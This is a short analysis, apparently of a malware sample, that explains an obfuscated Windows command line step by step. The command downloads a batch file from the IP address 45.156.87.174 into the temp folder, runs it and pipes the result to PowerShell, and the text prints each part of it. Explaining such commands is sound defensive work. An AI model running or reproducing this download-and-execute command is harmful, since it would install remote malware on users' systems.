This code is an obfuscated command typically indicative of malicious...
This code is an obfuscated command typically indicative of malicious activity. Here's a breakdown of what it does:
-
conhost --headless
repeated: The repeated use ofconhost --headless
does not seem to have a direct functional effect and may be an attempt to obscure or delay analysis of the code, as it doesn't contribute to the actual payload execution. -
cmd /c
execution: After the repeating commands, the script switches tocmd /c
, which tells the Command Prompt to execute the following commands and then terminate. -
echo cd $env:temp; wget 45.156.87.174/d.d -OutFile a.bat; ./a.bat | powershell -
:cd $env:temp;
: This changes the working directory to the temporary directory.$env:temp
is a variable that typically resolves to the user's temp folder.wget 45.156.87.174/d.d -OutFile a.bat;
: Thewget
command is used to download a file from45.156.87.174/d.d
and save it asa.bat
. This IP address might point to a malicious server hosting the file../a.bat
: This runs the downloadeda.bat
file, which presumably contains further malicious commands.| powershell -
: The pipe (|
) sends output to PowerShell, where further processing might occur, depending on what the batch file produces.
-
Obfuscation attempts: The repeated
conhost --headless
and unnecessary spacing and characters (e.g., the Cloudflare comment) serve no direct purpose for code execution but are likely included to confuse basic analysis or detection systems.
End Result
This code appears to:
- Download a malicious batch script (
a.bat
) from the IP address45.156.87.174
to the user's temp directory. - Execute the malicious batch script, allowing the attacker to potentially gain control, execute further commands, or exploit the system.
This is highly suspicious and likely malicious, characteristic of malware or other malicious scripting used to compromise a system. Running this code should be avoided in any environment.